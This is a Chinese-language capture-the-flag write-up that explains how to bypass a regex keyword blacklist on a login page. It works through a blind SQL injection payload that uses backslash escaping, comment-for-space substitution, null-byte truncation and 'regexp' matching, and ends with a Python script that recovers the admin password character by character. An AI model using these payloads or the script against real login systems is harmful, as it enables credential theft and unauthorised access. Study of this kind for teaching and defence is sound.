正则过滤

正则过滤

打开页面,发现是一个登录的界面,其中下面有sql语句

1
select * from users where username='' and passwd=''

所以我们fuzz一下,发现大部分符号被过滤掉了,然后我们可以尝试构造

1
/robots.txt

User-agent: *
Disallow: /hint.txt

1
然后构造hint.txt,可以看见

$black_list = “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|'|=| |in|<|>|-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;

If $_POST[‘passwd’] === admin’s password,

Then you will get the flag;

1
我们可以看见只要密码正确就可以读取flag,但是许多符号被过滤,但是我们可以使用

select * from users where username=’’ || password regexp ‘^a’;

1
2
3
的sql语句的格式来让服务器获取username和password来进行比对,其中regexp '^a'是正则匹配,意思是获取password字段中开头字母为a的值,其中我们可以在mysql库中来验证这句sql语句

首先,我们先

mysql -u root -p root

1
进入到mysql库中,然后

show databases; //查看数据库

use test; //选择数据库

create table table1 (id int(10),name varchar(20)); //建立数据表

insert into table1 values(‘1’,’hbb’);
insert into table1 values(‘2’,’hrc’); //向table1插入数据

1
2

然后执行

select * from table1 where id=3 || name regexp ‘^hr’;

1
会显示table1中id为2,name为hrc,所以我们可以构造payload

username=\&passwd=||//passwd//regexp/**/‘^a’;%00

1
其中/**/是代替被过滤的空格,而%00为截断符号,截断后面的单引号,作用相当于#或--+,由于黑名单中有%00,所以不可以在输入框中提交,要抓包后,post提交,而\\是先转义一条反斜杠,然后剩下的一条反斜杠就会把单引号给转义掉,从而使username为\' and password

select * from users where username=’' and password=’||//passwd//regexp/**/‘^a’;%00’

1
当密码正确时,返回的包中有welcome的字眼,所以我们可以以此来写exp

import requests
import string
url = “http://5f80822e-bbf0-4050-ba1b-6fc9c1783ad4.node3.buuoj.cn/"
str_list = string.ascii_lowercase + string.ascii_uppercase + string.digits + “_”

password= “”
while(True):
for j in str_list :
data = {
“username” : “\“,
“passwd” : ‘||/1/passwd/2/regexp/3/“^%s”;%s’ % (password+j,chr(0))
}
r = requests.post(url,data=data)
if(“welcome” in r.text):
password += j
print(password)
break

```
最后得到密码并直接提交即可得到flag

参考文章:[https://zhuanlan.zhihu.com/p/106088835]